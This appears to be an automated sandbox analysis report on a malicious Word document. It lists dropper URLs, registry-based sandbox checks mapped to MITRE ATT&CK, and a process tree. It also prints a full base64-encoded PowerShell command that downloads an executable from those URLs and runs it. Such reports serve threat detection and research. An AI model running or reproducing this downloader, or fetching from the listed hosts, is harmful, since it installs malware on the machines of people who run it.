12f17aa88c41cd66c648d4f19289192958e721c494829eb67962060967d804be

General

Target

12f17aa88c41cd66c648d4f19289192958e721c494829eb67962060967d804be.doc
Sample

200131-z13g4b8vrx
SHA256

12f17aa88c41cd66c648d4f19289192958e721c494829eb67962060967d804be

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://alea.ir/f4k/1v/

exe.dropper

http://www.baptist.sumy.ua/irardpxot/h/

exe.dropper

http://baptist.sumy.ua/irardpxot/dtkv158/

exe.dropper

http://www.ecoleannedeguigne.fr/wp-admin/x61n9/

exe.dropper

http://goldengarden.com.br/cgi-bin/ty/

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

4968 WINWORD.EXE
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

WINWORD.EXE

pid process

4968 WINWORD.EXE

pid	process
4968	WINWORD.EXE

pid	process
4968	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

Processes:

PoWERsheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4596	5060	PoWERsheLL.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\12f17aa88c41cd66c648d4f19289192958e721c494829eb67962060967d804be.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
PID:4968

C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
PoWERsheLL -e JABLAGUAawB6AGsAcgByAHUAZwBtAD0AJwBFAGwAbgBlAGkAbwBtAHAAJwA7ACQAWQBoAGQAaABrAHoAagByAHoAIAA9ACAAJwA3ADIAMgAnADsAJABZAHQAZQBvAHYAbAB1AGsAcQBnAD0AJwBSAGsAeQBsAGsAbgBmAHEAJwA7ACQARABvAHYAdQB5AHcAYgBlAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFkAaABkAGgAawB6AGoAcgB6ACsAJwAuAGUAeABlACcAOwAkAEYAegB2AHcAdQBhAGQAbgBqAHQAegB2AGwAPQAnAEMAdgBpAG0AYgBpAHYAbgBoACcAOwAkAE4AdQBmAHQAdQBoAGIAdAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAGUAYgBDAGwASQBFAG4AdAA7ACQARQBrAG8AcABpAGgAegBqAHoAaABrAG4AdQA9ACcAaAB0AHQAcAA6AC8ALwBhAGwAZQBhAC4AaQByAC8AZgA0AGsALwAxAHYALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGEAcAB0AGkAcwB0AC4AcwB1AG0AeQAuAHUAYQAvAGkAcgBhAHIAZABwAHgAbwB0AC8AaAAvACoAaAB0AHQAcAA6AC8ALwBiAGEAcAB0AGkAcwB0AC4AcwB1AG0AeQAuAHUAYQAvAGkAcgBhAHIAZABwAHgAbwB0AC8AZAB0AGsAdgAxADUAOAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGUAYwBvAGwAZQBhAG4AbgBlAGQAZQBnAHUAaQBnAG4AZQAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHgANgAxAG4AOQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AbABkAGUAbgBnAGEAcgBkAGUAbgAuAGMAbwBtAC4AYgByAC8AYwBnAGkALQBiAGkAbgAvAHQAeQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBjAGIAYgBtAHUAbgB6AG4AZQBzAHkAPQAnAEgAZAB3AHcAZQB2AHoAcwBmAGgAcgB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAHgAYgBpAHYAZgBrAGQAYwAgAGkAbgAgACQARQBrAG8AcABpAGgAegBqAHoAaABrAG4AdQApAHsAdAByAHkAewAkAE4AdQBmAHQAdQBoAGIAdAAuACIAZABPAFcAbgBsAG8AYQBkAGAARgBgAGkAYABMAEUAIgAoACQAUQB4AGIAaQB2AGYAawBkAGMALAAgACQARABvAHYAdQB5AHcAYgBlAHoAKQA7ACQAUQBrAG0AbgBhAGEAcQBhAGwAaABoAGUAPQAnAFMAYgBrAHgAcgBzAHUAZgB5AHIAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAG8AdgB1AHkAdwBiAGUAegApAC4AIgBMAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIAMgA0ADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAHQAZQAiACgAJABEAG8AdgB1AHkAdwBiAGUAegApADsAJABSAHgAdABrAHAAcQB1AGkAZABzAGUAeQA9ACcASAByAG8AcABhAG8AbgBhACcAOwBiAHIAZQBhAGsAOwAkAFUAZgBsAHoAbABsAHUAawB6AGYAeQBjAHMAPQAnAE4AbgBkAG8AaQBmAHkAYQBwAG0AbgBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AaAByAHQAdwBwAGoAZQA9ACcAUwB4AHUAeQBsAGUAZQB6AHIAeABtAGEAagAnAA==
1⤵
- Process spawned unexpected child process
PID:4596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads